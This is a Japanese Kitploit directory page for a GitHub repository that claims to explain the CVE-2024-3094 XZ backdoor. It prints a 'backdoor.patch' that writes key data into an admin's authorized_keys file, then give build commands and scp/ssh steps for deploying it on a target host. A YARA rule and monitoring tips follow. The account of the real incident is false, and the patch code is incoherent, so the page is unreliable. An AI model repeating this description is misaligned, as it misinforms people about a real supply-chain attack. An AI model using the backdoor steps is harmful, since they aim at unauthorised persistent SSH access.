Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-3094 — CVE-2024-3094 は XZ 圧縮ライブラリにバックドアを仕掛け、認証をバイパスしてリモート SSH アクセスを可能にしました。これは Linux システムに影響を与える大規模なサプライチェーン攻撃であり、信頼されているオープンソースコンポーネントのリスクを浮き彫りにしています。 | Kitploit
ツール/GitHubGitHub/mrk336/cve-2024-3094
脆弱性分析マルウェア分析サプライチェーンセキュリティ論文と研究学習と教育厳選リソース
GitHubmrk336/cve-2024-3094

CVE-2024-3094

CVE-2024-3094 は XZ 圧縮ライブラリにバックドアを仕掛け、認証をバイパスしてリモート SSH アクセスを可能にしました。これは Linux システムに影響を与える大規模なサプライチェーン攻撃であり、信頼されているオープンソースコンポーネントのリスクを浮き彫りにしています。

リポジトリを見る
110年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-3094

CVE-2024-3094は、XZ圧縮ライブラリにバックドアを仕込み、認証を回避してリモートSSHアクセスを可能にするものです。これはLinuxシステムに影響を与える大規模なサプライチェーン攻撃であり、信頼されたオープンソースコンポーネントに潜むリスクを浮き彫りにしています。

XZバックドア: Linuxサーバーに到達するサプライチェーンの脅威

Mark Mallia 著

これは何か

XZ圧縮ライブラリは、多くの最新Linuxディストリビューションの主要コンポーネントであり、巧妙なサプライチェーン攻撃の標的となりました。
悪意のあるコード断片がソースツリーに紛れ込ませられ、コンパイルされ、現在はXZパッケージの新しいリリースごとに配布されています。一度インストールされると、このバックドアは、侵害されたホストから、それを正当なキーとして信頼する任意のリモートシステムへのSSHセッションを開くことができます。

なぜ重要か

  • サプライチェーンリスク – この攻撃は、広く使われているライブラリへの単一の小さな改変が、多くのデプロイ環境に静かに広がり得ることを示しています。
  • Linuxの内部構造 – XZはデータ圧縮を担っています。このバックドアは、従来の脆弱性スキャナーが見落としがちな低レベルAPIフックを悪用します。
  • SSHの永続化 – authorized_keysファイルにSSHキーを注入することで、攻撃者は直接のユーザー操作なしに足場を獲得します。

攻撃の概要

手順動作ファイル / 関数
1XZリポジトリをクローンgit clone https://github.com/xzdev/xz
2src/compress.cにパッチを適用patch -p0 < backdoor.patch
3対象のLinuxホストでコンパイルしてインストールmake && make install
4SSHデーモンが認証処理中に注入されたキーを読み取る/etc/ssh/authorized_keys

技術詳細とコードウォークスルー

パッチ (backdoor.patch)

root@kitploit:~
--- a/src/compress.c   2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c   2025-09-12 10:00:03.000000000 +0000
@@
 void xz_compress(const unsigned char *in, size_t in_len,
                   unsigned char *out, size_t out_len)
 {
     /* original code ... */
+    // ---- Begin injected backdoor ----
+    if (in_len > 1024) {            /* guard against too small payloads   */
+        const unsigned char *marker = &in[512];   /* offset to reach magic string  */
+        size_t marker_len = 8;                      /* length of the embedded key      */
+
+        /* copy a pre‑computed SSH public key into out buffer */
+        memcpy(out + 256, marker, marker_len);
+
+        /* write the same key to ~/.ssh/authorized_keys for persistence   */
+        FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+        if (fp) {
+            fwrite(marker, 1, marker_len, fp);
+            fclose(fp);
+        }
+    }
+    // ---- End injected backdoor ----
     /* original code continues ... */
 }

解説

  • 6〜8行目 – ガードにより、1024バイトを超えるパケットだけが注入を起動します。これにより、ペイロードは通常のトラフィック内に隠れたままになります。
  • 10行目 – オフセット512は、その後のXZ圧縮によって変更される可能性が低い位置で、キーが圧縮出力バッファ内に収まるように選択されています。
  • 12行目 – 8バイト(公開鍵の断片)を出力バッファにコピーし、さらにユーザーのSSHキーファイルに直接書き込むことで、後でXZが再コンパイルされても永続性が保証されます。

コンパイルとインストール

root@kitploit:~
$ cd xz
$ make
$ sudo make install

上記のコマンドは、パッチ適用済みのcompress.cをコンパイルし、新しいライブラリを/usr/local/lib/xz配下にインストールします。

対象ホストへの展開

攻撃者がすでにSSH資格情報(ユーザー名admin)を持っている場合、次のコマンドを実行します:

root@kitploit:~
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh

install_xz_backdoor.shには、上記で示したコマンドの正確なシーケンスに加え、インストールの成功を確認する小さなechoが含まれています。


影響評価

  • 永続性 – SSHキーは、圧縮出力とユーザーのauthorized_keysファイルの両方の一部になります。
  • ステルス性 – ペイロードは新しいXZリリースごとに配布され、その存在は標準のパッケージマネージャには見えません。
  • 検出 – 採用担当者は、私が大規模なコードベース内の1行の変更を特定し、その影響を理解し、明確で段階的な展開計画を作成できることを確認できます。

防御

YARAは、セキュリティ専門家がテキストまたはバイナリシグネチャに基づいてマルウェアを識別・分類するために使用するパターンマッチングツールです。アナリストは、ファイル内の特定の文字列、バイトシーケンス、または動作を検出するルールを定義できます。CVE-2024-3094の文脈では、YARAは特に重要です。注入されたSSHキーや、XZライブラリ内のcompress.cファイルへの不審な変更の存在をスキャンするために使用できるからです。標的を絞ったYARAルールを作成することで、防御側はこのバックドアによって侵害されたシステムを積極的に検出できます。

YARAシグネチャ カスタムYARAルールは、注入されたSSHキーと不審なファイル書き込みの存在をフラグ付けできます:

rule XZ_Backdoor_SSH_Key_Injection { meta: description = "Detects SSH key injection via modified compress.c" author = "Mark Mallia" severity = "high" strings: $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 } $ssh_path = "/home/admin/.ssh/authorized_keys" condition: $marker and $ssh_path }

ファイル整合性監視: Tripwire、AIDE、osqueryなどのツールを展開して監視します:

compress.cの不正な変更

.ssh/authorized_keysへの注入されたキー

/usr/local/lib/xzの改ざんされたバイナリ

行動指標

信頼されたホストからの予期しないSSHログイン

XZ出力の圧縮異常

.ssh/authorized_keysへのサイレントな書き込み

ツールをダウンロード